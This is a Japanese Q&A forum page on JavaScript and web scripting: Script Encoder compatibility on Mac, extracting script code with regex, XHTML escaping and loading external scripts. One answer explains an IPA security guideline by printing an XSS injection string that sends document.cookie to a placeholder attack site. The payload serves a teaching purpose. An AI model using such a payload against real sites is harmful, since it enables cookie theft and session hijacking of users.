はじめまして。たった今、登録してきました。
さて、タイトルの通りなのですが・・・

 『Windows Script Encoder』でエンコードしたスクリプトは、Win32上のIE5以降で動作することは、実際に確認できています。
 しかし、Macで動くかどうかの情報が見当たらず、サイト上で如何に表記すべきか判らないので、質問させていただきます。

 よろしくお願いします。

このQ&Aに関連する最新のQ&A

情報 Mac」に関するQ&A: MACアドレスとBIOS情報

A 回答 (1件)

Mac版IE4.5やwin版IE5.01では、外部jsファイルを Unicode(UTF-8)にしないと文字化けします。


それに気を付ければほぼ大丈夫だと思います。
    • good
    • 0
この回答へのお礼

 なるほど。窓版でも化ける不具合があるとは、知りませんでした。
タイトルの件に関しては大丈夫とのことで、安心しました。
ありがとうございました。

お礼日時:2001/06/09 17:04

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aと関連する良く見られている質問

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q「script」は台本という意味ですがjava scriptはjavaの台本?

よろしくお願いします。
javaとjava scriptは全く別物と聞きますが
そうであれば何故javaの台本という名前なのでしょうか?

「script」は台本とは別の意味なのでしょうか?

全くの素人です。ご教授よろしくお願いします

Aベストアンサー

人気上昇中のjavaの名前にあやかったscript言語。

スクリプト言語の由来はたぶん、台本じゃなくて脚本だと思います。

今ではほとんどのスクリプト言語に出来る事が増えすぎて、
脚本と呼べるほど単調な流れのプログラムだけでなく、様々なプログラムに使われるようになったため、
スクリプト言語という分類は意味をなさなくなったと思います。
(スクリプト言語に対する分類はおそらく「記述言語」、CやPascalなど)

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Qスクリプト内から他の外部スクリプトを読み込みたい

Java Script初級者です。
外部スクリプト内から他の外部スクリプトを読み込むことは可能ですか?

実現したい内容はスクリプト内の関数から▼下のような感じで外部ファイルを読み込むことです。
function check(fm) {
<script language="JavaScript" src="AAA.js"></script>
}

何か良い方法がありましたらぜひ教えてください。

Aベストアンサー

え~と、細切れに書いたことをまとめますと
以下のようになります。
これで、動くはず・・・・・

<html>

<head>

<script>

function dynamicLoad(jsFileName){
var now =new Date();
var getData =jsFileName+'?nc='+now.getTime();
if(document.all){
if(navigator.userAgent.indexOf("Win")!=-1){
eval(document.all('dynld')).src = getData;
}else if(navigator.userAgent.indexOf("Mac")!=-1){
document.body.insertAdjacentHTML('BeforeEnd','<scr'+'ipt src="'+getData+'"><scr'+'ipt/>');
}
}else if(document.getElementById){
var cnode=document.getElementById('dynld');
var nnode=document.createElement('script');
nnode.src=getData;
nnode.id ='dynld';
cnode.parentNode.replaceChild(nnode,cnode);
}else{
if(document.images){
var datasrc=new Image();
datasrc.src=getData;
location.href=datasrc.src;
}
}
}

function check() {
if(document.images["soldout"]){
alert("完売しました!");
return false;
}else if(!document.forms[0].size.selectedIndex) {
alert("サイズを選択してください!");
return false;
}else {
//
//Google Code for Purchase Conversion Page
//
 var google_conversion_id=1071970427;
 var google_conversion_language="ja";
 var google_conversion_format="1";
 var google_conversion_color="FFFFFF";
 if(1){var google_conversion_value=1;}
 var google_conversion_label="Purchase";
 dynamicLoad('http://bosan.net/test2/test2.js');
//
//Overture Services Inc. 07/15/2003
//
 var cc_tagVersion = "1.0";
 var cc_accountID = "123456789";
 var cc_marketID = "4";
 var cc_protocol="http";
 var cc_subdomain = "convctr";
 if(location.protocol == "https:"){
 cc_protocol="https";
 cc_subdomain="convctrs";
 }
 var cc_queryStr = "?" + "ver=" + cc_tagVersion + "&aID=" + cc_accountID + "&mkt=" + cc_marketID +"&ref=" + escape(document.referrer);
 var cc_imageUrl = cc_protocol + "://" + cc_subdomain + ".overture.com/images/cc/cc.gif" + cc_queryStr;
 var cc_imageObject = new Image();
 cc_imageObject.src = cc_imageUrl;
//
//外部との通信完了後に送信するために送信遅延時間を設定
//
 setTimeout("xx()",2000);//この時間を調整2000は2秒の意味
}
}

function xx(){
document.forms[0].submit();
}

document.write('<scr'+'ipt id="dynld"></scr'+'ipt>');

</script>

<head>

<boy>

<form action="about:blank" method="POST">
<select name="size">
<option>▼選択</option>
<option>10cm</option>
<option>20cm</option>
</select>
<input type="button" value="買い物かごに入れる" onclick="check()" />
</form>

</body>

</html>





.

え~と、細切れに書いたことをまとめますと
以下のようになります。
これで、動くはず・・・・・

<html>

<head>

<script>

function dynamicLoad(jsFileName){
var now =new Date();
var getData =jsFileName+'?nc='+now.getTime();
if(document.all){
if(navigator.userAgent.indexOf("Win")!=-1){
eval(document.all('dynld')).src = getData;
}else if(navigator.userAgent.indexOf("Mac")!=-1){
document.body.insertAdjacentHTML('BeforeEnd','<scr'+'ipt src="'+getData+'"><scr'+'ipt/...続きを読む


人気Q&Aランキング

おすすめ情報